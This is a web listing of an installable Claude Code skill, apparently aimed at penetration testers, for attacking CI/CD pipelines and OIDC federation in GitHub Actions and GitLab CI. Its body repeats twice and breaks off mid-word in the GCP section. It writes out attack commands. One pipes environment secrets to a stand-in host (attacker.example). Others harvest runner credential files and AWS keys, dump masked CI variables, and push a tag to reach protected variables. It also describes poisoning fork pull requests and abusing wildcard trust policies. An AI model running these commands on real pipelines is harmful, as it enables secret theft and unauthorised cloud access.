/abusing-ci-cd-oidc
Exploit CI/CD pipeline misconfigurations and OIDC federation weaknesses across GitHub Actions, GitLab CI, and Jenkins -- poisoned workflows, secret exfiltration, runner compromise, overly broad OIDC trust policies, build artifact poisoning, and credential theft. Use when
$ npx -y skills add trilwu/secskills --skill abusing-ci-cd-oidc --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/abusing-ci-cd-oidc
Context preview
The summary Claude sees to decide when to auto-load this skill.
Exploit CI/CD pipeline misconfigurations and OIDC federation weaknesses across GitHub Actions, GitLab CI, and Jenkins -- poisoned workflows, secret exfiltration, runner compromise, overly broad OIDC trust policies, build artifact poisoning, and credential theft. Use when
SKILL.md
abusing-ci-cd-oidc.SKILL.mdname: abusing-ci-cd-oidc
description: Exploit CI/CD pipeline misconfigurations and OIDC federation weaknesses across GitHub Actions, GitLab CI, and Jenkins -- poisoned workflows, secret exfiltration, runner compromise, overly broad OIDC trust policies, build artifact poisoning, and credential theft. Use when pentesting CI/CD infrastructure, assessing OIDC federation trust boundaries, reviewing pipeline security posture, or exploiting a path from repository access to cloud credentials.
verified: 2026-07-27
Abusing CI/CD Pipelines and OIDC Federation
CI/CD pipelines are high-privilege execution environments, often with direct cloud IAM access, deploy credentials, and signing keys. OIDC federation turns a repository write into cloud credential issuance when the trust policy is too broad. A single misconfigured workflow or a wildcard subject claim can bridge the gap from "can open a pull request" to "has production cloud access."
When to Use
- Assessing GitHub Actions, GitLab CI, or Jenkins for exploitable misconfigurations
- Testing OIDC federation trust policies between CI providers and cloud platforms
- Extracting secrets, tokens, or credentials from pipeline execution environments
- Evaluating self-hosted runner isolation and shared runner risk
- Attempting lateral movement from CI/CD into cloud accounts via OIDC
- Reviewing build artifact integrity and cache poisoning attack surface
When NOT to Use
- **Dependency and package supply chain attacks** -- use `auditing-supply-chain`
- **Cloud IAM exploitation not originating from CI/CD** -- use `exploiting-cloud-platforms`
- **Static code review of pipeline definitions as pure source** -- use `auditing-code-for-vulnerabilities`
GitHub Actions
Poisoned Workflows
`pull_request_target` runs in the base repo context with secrets and a write-scoped `GITHUB_TOKEN`, but can be triggered by a fork PR.
# Find pull_request_target triggers that check out PR head code
rg -n 'pull_request_target' -A20 .github/workflows/ | rg 'checkout|ref.*head'
# Script injection: untrusted PR/issue data interpolated into run blocks
rg -n '\$\{\{\s*github\.event\.(issue|pull_request|comment|review)' .github/workflows/**Attack pattern:** fork the repo, modify the checked-out code path (build script, Makefile, test harness), open a PR. The workflow executes your code with the base repo's secrets. Exfiltrate via DNS, HTTP callback, or artifact.
Secret Exfiltration and Token Scope
# Secrets are in the environment -- exfiltrate out-of-band
env | base64 | curl -d @- https://attacker.example/exfil
# GITHUB_TOKEN scope check
curl -s -H "Authorization: token $GITHUB_TOKEN" \
https://api.github.com/repos/OWNER/REPO -I | grep 'x-oauth-scopes'
# Check if permissions are restricted in the workflow
rg -n 'permissions:' .github/workflows/
rg -n 'permissions:\s*write-all' .github/workflows/
Unrestricted `GITHUB_TOKEN` defaults to read+write on contents, packages, and more. With a write-scoped token: push to branches, create releases, modify packages, approve deployments.
Self-Hosted Runner Compromise
Self-hosted runners on public repos are a critical finding. They persist between jobs, so a malicious workflow leaves implants for subsequent jobs.
rg -n 'runs-on:.*self-hosted' .github/workflows/
# On a compromised runner: harvest credentials from prior jobs
find / -name '.credentials' -o -name '.env' -o -name '*.pem' 2>/dev/null
cat /home/runner/.aws/credentials
Artifact Poisoning
# If a PR workflow uploads build artifacts consumed by a deploy workflow,
# the PR author controls what gets deployed
rg -n 'upload-artifact|download-artifact' .github/workflows/
GitLab CI
Runner Tokens and Shared Runners
# Exposed runner registration tokens allow registering rogue runners
rg -rn 'RUNNER_TOKEN\|REGISTRATION_TOKEN\|CI_JOB_TOKEN' .gitlab-ci.yml
# CI_JOB_TOKEN can access other projects if inter-project deps are configured
curl --header "JOB-TOKEN: $CI_JOB_TOKEN" \
"https://gitlab.example/api/v4/projects/OTHER_ID/repository/files/secret.txt/raw?ref=main"
# Shared runners: Docker socket mount leaks between jobs
rg -n 'docker:dind\|/var/run/docker.sock' .gitlab-ci.yml
CI Variables Extraction
# Masked variables are hidden from logs but present in env
printenv > /tmp/all_vars.txt && cat /tmp/all_vars.txt
# Protected variables: only on protected branches/tags
# Push a tag matching the protection pattern to access them
git tag release-exploit && git push origin release-exploit
OIDC Federation Abuse
OIDC federation lets CI jobs assume cloud roles without stored credentials. The security boundary is the trust policy's subject claim filter.
Overly Broad Subject Claims
# AWS: inspect IAM role trust policy conditions
aws iam get-role --role-name ci-deploy-role \
--query 'Role.AssumeRolePolicyDocument' --output json
# Dangerous patterns in the Condition block:
# "sub": "repo:org/*" -- any repo in the org
# "sub": "repo:org/repo:*" -- any branch, any environment
# "sub": "repo:org/repo:ref:refs/heads/*" -- any branch
# No Condition at all -- any token from the IdP
**Vulnerable AWS trust policy:**
{
"Effect": "Allow",
"Principal": {"Federated": "arn:aws:iam::ACCOUNT:oidc-provider/token.actions.githubusercontent.com"},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org-name/*"
}
}
}Any repo in the org can assume this role. Abandoned repos, docs repos, and repos with loose contributor policies become pivots to production cloud access.
GCP and Azure
# GCP: check attribute conditions on workload identity provider
gcloud iam workload-identity-pools providers describe PROVIDER \
--location=global --workload-identity-pool=POOL
# Vulnerable: no attribute condi
Read more
name: abusing-ci-cd-oidc description: Exploit CI/CD pipeline misconfigurations and OIDC federation weaknesses across GitHub Actions, GitLab CI, and Jenkins -- poisoned workflows, secret exfiltration, runner compromise, overly broad OIDC trust policies, build artifact poisoning, and credential theft. Use when pentesting CI/CD infrastructure, assessing OIDC federation trust boundaries, reviewing pipeline security posture, or exploiting a path from repository access to cloud credentials. verified: 2026-07-27
Abusing CI/CD Pipelines and OIDC Federation
CI/CD pipelines are high-privilege execution environments, often with direct cloud IAM access, deploy credentials, and signing keys. OIDC federation turns a repository write into cloud credential issuance when the trust policy is too broad. A single misconfigured workflow or a wildcard subject claim can bridge the gap from "can open a pull request" to "has production cloud access."
When to Use
- Assessing GitHub Actions, GitLab CI, or Jenkins for exploitable misconfigurations
- Testing OIDC federation trust policies between CI providers and cloud platforms
- Extracting secrets, tokens, or credentials from pipeline execution environments
- Evaluating self-hosted runner isolation and shared runner risk
- Attempting lateral movement from CI/CD into cloud accounts via OIDC
- Reviewing build artifact integrity and cache poisoning attack surface
When NOT to Use
- **Dependency and package supply chain attacks** -- use `auditing-supply-chain`
- **Cloud IAM exploitation not originating from CI/CD** -- use `exploiting-cloud-platforms`
- **Static code review of pipeline definitions as pure source** -- use `auditing-code-for-vulnerabilities`
GitHub Actions
Poisoned Workflows
`pull_request_target` runs in the base repo context with secrets and a write-scoped `GITHUB_TOKEN`, but can be triggered by a fork PR.
# Find pull_request_target triggers that check out PR head code
rg -n 'pull_request_target' -A20 .github/workflows/ | rg 'checkout|ref.*head'
# Script injection: untrusted PR/issue data interpolated into run blocks
rg -n '\$\{\{\s*github\.event\.(issue|pull_request|comment|review)' .github/workflows/**Attack pattern:** fork the repo, modify the checked-out code path (build script, Makefile, test harness), open a PR. The workflow executes your code with the base repo's secrets. Exfiltrate via DNS, HTTP callback, or artifact.
Secret Exfiltration and Token Scope
# Secrets are in the environment -- exfiltrate out-of-band env | base64 | curl -d @- https://attacker.example/exfil # GITHUB_TOKEN scope check curl -s -H "Authorization: token $GITHUB_TOKEN" \ https://api.github.com/repos/OWNER/REPO -I | grep 'x-oauth-scopes' # Check if permissions are restricted in the workflow rg -n 'permissions:' .github/workflows/ rg -n 'permissions:\s*write-all' .github/workflows/
Unrestricted `GITHUB_TOKEN` defaults to read+write on contents, packages, and more. With a write-scoped token: push to branches, create releases, modify packages, approve deployments.
Self-Hosted Runner Compromise
Self-hosted runners on public repos are a critical finding. They persist between jobs, so a malicious workflow leaves implants for subsequent jobs.
rg -n 'runs-on:.*self-hosted' .github/workflows/ # On a compromised runner: harvest credentials from prior jobs find / -name '.credentials' -o -name '.env' -o -name '*.pem' 2>/dev/null cat /home/runner/.aws/credentials
Artifact Poisoning
# If a PR workflow uploads build artifacts consumed by a deploy workflow, # the PR author controls what gets deployed rg -n 'upload-artifact|download-artifact' .github/workflows/
GitLab CI
Runner Tokens and Shared Runners
# Exposed runner registration tokens allow registering rogue runners rg -rn 'RUNNER_TOKEN\|REGISTRATION_TOKEN\|CI_JOB_TOKEN' .gitlab-ci.yml # CI_JOB_TOKEN can access other projects if inter-project deps are configured curl --header "JOB-TOKEN: $CI_JOB_TOKEN" \ "https://gitlab.example/api/v4/projects/OTHER_ID/repository/files/secret.txt/raw?ref=main" # Shared runners: Docker socket mount leaks between jobs rg -n 'docker:dind\|/var/run/docker.sock' .gitlab-ci.yml
CI Variables Extraction
# Masked variables are hidden from logs but present in env printenv > /tmp/all_vars.txt && cat /tmp/all_vars.txt # Protected variables: only on protected branches/tags # Push a tag matching the protection pattern to access them git tag release-exploit && git push origin release-exploit
OIDC Federation Abuse
OIDC federation lets CI jobs assume cloud roles without stored credentials. The security boundary is the trust policy's subject claim filter.
Overly Broad Subject Claims
# AWS: inspect IAM role trust policy conditions aws iam get-role --role-name ci-deploy-role \ --query 'Role.AssumeRolePolicyDocument' --output json # Dangerous patterns in the Condition block: # "sub": "repo:org/*" -- any repo in the org # "sub": "repo:org/repo:*" -- any branch, any environment # "sub": "repo:org/repo:ref:refs/heads/*" -- any branch # No Condition at all -- any token from the IdP
**Vulnerable AWS trust policy:**
{
"Effect": "Allow",
"Principal": {"Federated": "arn:aws:iam::ACCOUNT:oidc-provider/token.actions.githubusercontent.com"},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org-name/*"
}
}
}Any repo in the org can assume this role. Abandoned repos, docs repos, and repos with loose contributor policies become pivots to production cloud access.
GCP and Azure
# GCP: check attribute conditions on workload identity provider gcloud iam workload-identity-pools providers describe PROVIDER \ --location=global --workload-identity-pool=POOL # Vulnerable: no attribute condi
**Security skills for Claude Code that encode the judgment professionals bring, not another wrapper around a scanner.** Offense, defense, and the reverse-engineering and code-audit core both sides share. Every skill is fact-checked against primary sources.

